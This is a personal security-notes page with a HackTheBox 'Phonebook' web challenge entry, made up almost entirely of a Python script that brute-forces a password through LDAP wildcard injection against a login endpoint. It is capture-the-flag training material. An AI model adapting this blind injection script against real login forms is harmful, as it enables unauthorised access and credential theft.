fg0x0's notes
search
⌘Ctrlk
fg0x0's notes
  • 👀Introduction
    • 🏴‍☠️About me
  • 👾offensive-security
    • 🐲OSCP
    • ⛓️OSEP
    • 🕸️OSWE
    • 🌌PG-Practice
  • 🚩Red Team
    • ☢️Active Directory Exploitation
    • 👿Red Teaming Zero to Hero
    • 👿Red Teaming All The Things
    • 🕸️Web Exploitation
    • 💀Binary Exploitation
    • ☠️Exploit Development
  • 🏳️Blue Team
    • 🔍Digital Forensics
    • 🔐Cryptography & Math
    • ⏪Reverse Engineering
  • 🏴‍☠️ctf
    • 🏇Haruul Zangi
    • 🏴‍☠️Other CTF
  • 🧊HackTheBox
    • 🪟Windows Machine
    • 🐧Linux Machine
    • ☠️Other Platform Machines
    • spider-webWeb Exploitation
      • 👽Flask SSTI
      • vial-virusInjection
        • 👽Phonebook ( LDAP Injection )
        • laptop-codesanitize ( SQL Injection )
        • tornadoWeather app ( SQL Injection )
        • codeIntergalactic Post ( php filter SQLi )
        • wagon-coveredC.O.P ( SQL injection + Revshell )
      • 💥Prototype Pollution
      • 😵‍💫insecure deserialization
      • xmark-largeXSS
      • 👾Symfony
      • 👥XXE
      • face-sleepingPing submit hiideg
      • saladRCE
      • arrows-to-circleLFI
      • cabinet-filingFile Upload
      • curling-stoneURL submit hiideg
      • circle-chevron-rightInvoice ilgeedeg
      • dollyHTTP2 smuggling
    • unityForensics
  • 💀Synack Red Team
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. 🧊HackTheBoxchevron-right
  2. spider-webWeb Exploitationchevron-right
  3. vial-virusInjection

👽Phonebook ( LDAP Injection )

LogoHTB — PhonebookMediumchevron-right
LogoPhonebook — HTB Web Challenge WriteupMediumchevron-right

full exploit code

PreviousInjectionchevron-leftNextsanitize ( SQL Injection )chevron-right

Last updated 1 year ago

import requests
import string

headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://167.99.84.37:32125/login"

chars = string.ascii_letters
chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])

counter = 0
flag = "HTB{"

while True:
    # if all chars are not correct means we previous already found the flag
    if counter == len(chars):
        print(flag + "}")
        break

    # creates something like HTB{a*}
    password = flag + chars[counter] + "*}"
    print("Trying: " + password)

    data = {"username" : "Reese", "password" : password}
    response = requests.post(url, headers=headers, data=data)
    
    if (response.url != url + "?message=Authentication%20failed"):
        # possible flag since we still using * at the end: e.g HTB{abc_*}.
        # append chars[] so that we not need to deal with removing "*}" as compared to if we assign password variable to flag variable
        flag += chars[counter]
        counter = 0
    else:
        # increment the char since we might not have found the right letter
        counter += 1